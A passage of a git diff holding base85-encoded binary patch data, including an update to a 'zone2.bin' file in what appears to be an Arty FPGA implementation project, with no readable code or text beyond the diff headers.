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

diff --git a/ArtyImplementation/zone2/zone2.bin b/ArtyImplementation/zone2/zone2.bin
index 5465df15e1efcf0a7cd946073aa6907def72ae91..eb01723d3eb5699d8608955af7f38ca197dc4d4a 100644
GIT binary patch
delta 5090
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
BEWZE%

delta 11931
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
